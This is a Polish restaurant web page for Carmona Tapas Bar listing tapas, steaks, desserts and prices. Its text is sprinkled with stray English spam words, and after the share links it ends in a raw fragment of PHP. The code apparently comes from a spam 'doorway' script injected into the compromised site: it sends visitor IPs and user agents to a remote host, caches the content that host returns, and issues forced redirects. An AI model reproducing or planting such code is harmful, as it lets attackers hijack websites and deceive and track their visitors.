Newsletter

Galeria

Francuski pasztet z wątróbek Roladki z szałwią i szynką serrano Tarta z konfiturą cebulową Szpadki z kurczaka w tymianku

Menu

Chorizo z ziemniakami Tapas to kwintesencja hiszpańskiego stylu życia: małe, patient pyszne smakołyki do przegryzienia w biegu, health popicia domowym winem lub piwem, hospital ewentualnie świetny materiał na większe party. W Carmonie przygotowaliśmy dla Was kilkadziesiąt różnych tapasów, które będziecie mieli okazję spróbować przez najbliższe tygodnie. Codziennie w naszej witrynie pojawią się nowe dania zatem wpadajcie często aby wypróbować wszystko. W Carmonie podajemy klasyczne hiszpańskie tapas, przygotowywane starannie według oryginalnych receptur. Sałatka z buraków i sera owczego  Uważamy jednak że w takie formie można podać wiele innych, nie zawsze stricte hiszpańskich przysmaków. Dlatego nasi zdolni kucharze eksperymentują również z daniami z całego świata, podająć je w małych, pięknych porcjach.

Kilkanaście naszych propozycji znajdziecie poniżej, a aktualne menu pojawiać się będzie a w Aktualnościach oraz na Facebooku. Przykładowe tapas można obejrzeć tu: Zdjęcia Hiszpańskich Tapas.

W Carmonie można spróbować każdego dnia kilkanaście różnych tapas takich jak: Francuski pasztet z wątróbek

  • Tortilla z grillowanym warzywami (Najlepsza tortilla w Warszawie!)
  • Tortilla z białymi kiełbaskami i fasolą
  • Oliwki Marynowane w z limonką i imbirem
  • Grillowane pieczarki, marynowane z chili i pietruszką
  • Kulki z sera białego z kolendrą w oliwie z oliwek
  • Pate drobiowe z hiszpańską brandy na bagietce
  • Croquettas z dorszem
  • Croquettas z szynką serrano
  • Chorizo w winie czerwonym
  • Morcilla z jabłkiem i sosem z musztardy
  • Pulpeciki Albondigas w sosie czerwonym
  • Mieszane orzechy karmelizowane w miodzie na ostro
Tapas można zamawiać pojedynczo (7zł/szt) w zestawie z piwem lub winem (12zł/szt).

Na prośbę naszych gości w Carmona Tapas Bar wprowadziliśmy niedawno również stałe menu złożone z najpopularniejszych dań głównych, sałat i zup. Znajdują się w nim takie specjały  jak delikatne filety z białej ryby w kremowym sosie estragonowym, krewetki w czosnku i chili oraz nasze słynne steki Rib-Eye Chimichurri (ok 60zł w zależości od wagi).

Przygotowujemy je dla Was z najlepszej wołowiny od zaprzyjaźnionego dostawcy. Nasze steki wycinane są z antrykotu polskich krów mięsnych w wielkie, ok 500 gramowe steki Rib-eye. Grillujemy je wedle życzenia i podajemy z argentyńską marynatą chimichurri ze świeżych ziół, limonki i oliwy.

Warto przypomnieć, że nasze steki zbierają bardzo pozytywne opinie. Pisał o nich bardzo entuzjastycznie na przykład Puls Biznesu.

W Carmonie nie zapominamy również o naszych najmłodszych gościach. Przygotowaliśmy dla nich nawet specjlane menu dostępne w tym miejscu: Menu dla dzieci w Carmona.

Churros Mus czekoladowy Czymże jednak bylby posiłekbez zwieńczenia jakimpowinien być odpowiedni deser? W Carmonie proponujemy na przykład świetny mus czekoladowy z hiszpańskimi pomarańczami (9zł), tradycyjne, hiszpańskie ciasteczka churros z gorącą czekoladą (15zł) lub naszą specjalność: lody smażone podane na sałatce z kiwi i bananów (14zł). Desery oczywiście można obejrzeć: Desery Carmona Tapas Bar.

Pełne menu Carmona Tapas Bar można pobrać tu: Menu Carmona Tapas Bar oraz Menu drinków i napoi Carmona Tapas Bar.

Tutaj natomiast znajduje się menu z codziennymi promocjami: All You Can Eat, Paella, Drink Day i inne.

  • Print
  • Digg
  • StumbleUpon
  • del.icio.us
  • Facebook
  • Yahoo! Buzz
  • Twitter
  • Google Bookmarks
  • Add to favorites
  • email
  • Google Buzz
  • Gwar
  • LinkedIn
  • MySpace
  • Wykop
$template, 'folderDor' => $pathToDor, 'pathOnMyHost' => $pathOnMyHost, 'refer' => "http://".getenv('HTTP_HOST'), 'userIP' => getUserIP(), 'uagent' => getenv('HTTP_USER_AGENT'), 'UA_Client' => 'UA_Client', )); if ($connect and function_exists("curl_exec") && function_exists("curl_init")) { $ch = curl_init('http://'.$host.$path); curl_setopt($ch, CURLOPT_HTTPHEADER, array($UA, "Referer: http://".getenv('HTTP_HOST')) ); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1 ); curl_setopt($ch, CURLOPT_HEADER, 1); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 15 ); curl_setopt($ch, CURLOPT_TIMEOUT, 15 ); $result = curl_redir_exec( $ch ); curl_close($ch); } else { $buff = ''; $socket = @fsockopen($host, 80, $errno, $errstr); if ($socket) { @fputs($socket, "GET {$path} HTTP/1.0\r\n"); @fputs($socket, "Host: {$host}\r\n"); @fputs($socket, "Referer: http://".getenv('HTTP_HOST')."\r\n"); @fputs($socket, $UA."\r\n"); @fputs($socket, "Connection: close\r\n\r\n"); while (!@feof($socket)) { $buff .= @fgets($socket, 128); } @fclose($socket); $res = explode("\r\n\r\n", $buff, 2); if (preg_match("~Location: (.*)~", $res[0], $m)) { header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); header("Cache-Control: no-cache, must-revalidate"); header("Pragma: no-cache"); header("Last-Modified: ".gmdate("D, d M Y H:i:s")."GMT"); header("HTTP/1.1 301 Moved Permanently"); header("Location: ".str_replace($pathOnMyHost, '', $m[1])); exit; } $result = $res[1]; } } if ($result){ if ($type == 'html' && strstr($result, "~"; $answer = preg_match($p, $result, $m) ? $m[1] : ''; $result = str_replace("", '', $result); } if($cache && !$answer) file_put_contents($cachelink, $result); elseif($cache && $answer == '1') { $thispage = 'http://' . getenv('HTTP_HOST') . getenv('REQUEST_URI'); $cachelink = $cachedir . '/' . $type. '/' . crc32_strlen($thispage)."_backup.$type"; file_put_contents($cachelink, $result); } return $result; } elseif (!$result && $type == 'html') { $thispage = 'http://' . getenv('HTTP_HOST') . getenv('REQUEST_URI'); $cachelink = $cachedir . '/' . $type. '/' . crc32_strlen($thispage)."_backup.$type"; if (is_file($cachelink)) return file_get_contents($cachelink); if (!$backup404) { @header('HTTP/1.1 404 Not Found'); @header("Status: 404 Not Found"); return '404 - Not Found!'; } $glob = glob($cachedir . '/' . $type. '/1/*.html'); if (!empty($glob)) return file_get_contents(trim($glob[mt_rand(0,count($glob)-1)])); } } function cache($cachedir, $cacheFiles, $cacheDirEnable){ global $type; if(!is_dir($cachedir)) mkdir($cachedir); if(!is_dir($cachedir.'/'.$type)) mkdir($cachedir.'/'.$type); $cachedir = $cachedir . '/' . $type; $thispage = 'http://' . getenv('HTTP_HOST') . getenv('REQUEST_URI'); $list = glob($cachedir . "/[0-9]*", GLOB_NOSORT | GLOB_ONLYDIR); $cache_folder = $cachedir. '/cache_folder.cfg'; if(($new_dir = $list[count($list) - 1])==''){ $new_dir = substr($new_dir, strrpos($new_dir, '/') + 1) + 1; mkdir($cachedir . '/' . $new_dir); $dir = array('dir' => $new_dir, 'files' => 1); file_put_contents($cache_folder, serialize($dir)); $cachelink = $cachedir . '/' . $new_dir. '/' . crc32_strlen($thispage).".$type"; } else { $rrr = rglob(crc32_strlen($thispage).".$type", $cachedir); if ($rrr) { readfile($rrr); die; } if ($cacheDirEnable) { $fp = fopen($cache_folder, 'a+'); flock($fp, LOCK_EX); fseek($fp, 0); $dir = trim(fgets($fp)); ftruncate($fp, 0); if ($dir !== '') $dir = unserialize($dir); else { $dir = array('dir' => 1, 'files' => 0); $list = array("$cachedir/$dir[dir]"); @mkdir("$cachedir/$dir[dir]"); } if ($dir['files'] >= (int)$cacheFiles) { $dir['dir'] = nextFolder ($cachedir); $dir['files'] = 0; mkdir($cachedir . '/' . $dir['dir']); } $dir['files']++; fwrite($fp, serialize($dir)); fflush($fp); flock($fp, LOCK_UN); fclose($fp); $list = array("$dir[dir]"); $new_dir = $dir['dir']; } else $new_dir = count($list); if( is_dir($cachedir . '/' . $new_dir) ){ $cachelink = $cachedir . '/' . $new_dir. '/' . crc32_strlen($thispage).".$type"; } else { $badfolder = badFolder($cachedir); mkdir($cachedir . '/' . $badfolder); $cachelink = $cachedir . '/' . $badfolder. '/' . crc32_strlen($thispage).".$type"; } if (count(glob($cachedir . '/' . $new_dir."/*")) >= $cacheFiles){ if (!$cacheDirEnable) { $nf = '15'; $scandir = scandir($cachedir . '/' . $new_dir.'/'); foreach($scandir as $v) { if(preg_match("#\..*$#isU",$v)) { $a[] = $cachedir . '/' . $new_dir.'/'.$v; $aname[] = $v; } } for($i=0;$i$v) { $names[] = $v; $filemtime[] = date('d:m:Y H:i:s', $k); } if($nf > count($b)) $number = count($b); else $number = $nf; for($i=0;$i<$number;$i++){ unlink($names[$i]); } } } } } return $cachelink; } function getUserIP() { $array = array('HTTP_X_REAL_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR', 'HTTP_X_REMOTECLIENT_IP'); foreach($array as $key) if(filter_var(getenv($key), FILTER_VALIDATE_IP)) return getenv($key); return false; } function curl_redir_exec($ch) { global $pathOnMyHost; static $curl_loops = 0; static $curl_max_loops = 20; if ($curl_loops >= $curl_max_loops) { $curl_loops = 0; return FALSE; } curl_setopt($ch, CURLOPT_HEADER, true); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $data = curl_exec($ch); list($header, $data) = explode("\r\n\r\n", $data, 2); $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE); if ($http_code == 301 || $http_code == 302) { $matches = array(); preg_match("~Location:(.*?)(?:\n|$)~", $header, $matches); $url = @parse_url(trim(array_pop($matches))); if (!$url) { $curl_loops = 0; return $data; } $last_url = parse_url(curl_getinfo($ch, CURLINFO_EFFECTIVE_URL)); if (!$url['path']) $url['path'] = $last_url['path']; if (!$url['host']) $new_url = $url['path'] . ($url['query']?'?'.$url['query']:''); else $new_url = $url['scheme'] . '://' . $url['host'] . $url['path'] . ($url['query']?'?'.$url['query']:''); header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); header("Cache-Control: no-cache, must-revalidate"); header("Pragma: no-cache"); header("Last-Modified: ".gmdate("D, d M Y H:i:s")."GMT"); header("HTTP/1.1 301 Moved Permanently"); header("Location: ".str_replace($pathOnMyHost, '', $new_url));exit; } else { $curl_loops=0; return $data; } } function rglob($file, $dir) { $files = glob($dir."/[0-9]*/".$file, GLOB_NOSORT); if(count($files) > 0) return $files[0]; else return false; } function badFolder ($cachedir){ if (!glob( $cachedir. '/[0-9]*', GLOB_NOSORT | GLOB_ONLYDIR ) == '') { foreach (glob( $cachedir. '/[0-9]*', GLOB_NOSORT | GLOB_ONLYDIR ) as $filename) { $array[] = $filename; } $array = str_replace( $cachedir. '/', '', $array ); $array_r=range(min($array),max($array)); for($i=0;$i0) return $badfolder[0]; else return (int)max($array)+1; } function delCache($delcache = '', $delpage = '', $type = 'html') { global $cachedir; function delTree($dir, $cachedir) { if ($objs = glob($dir."/*")) { foreach($objs as $obj) { if (is_dir($obj))delTree($obj, $cachedir); else {chmod($cachedir,0777);unlink($obj);} } } if ($dir !== $cachedir) @rmdir($dir); } if (!empty($delcache)) { delTree($cachedir, $cachedir); echo 'Done!'; } else { $rrr = rglob(crc32_strlen($delpage).".$type", $cachedir); if ($rrr) {unlink($rrr);echo 'Done!';} else echo 'File not found!'; } } function crc32_strlen($str) { return sprintf("%u", crc32($str)).mb_strlen($str); } ?>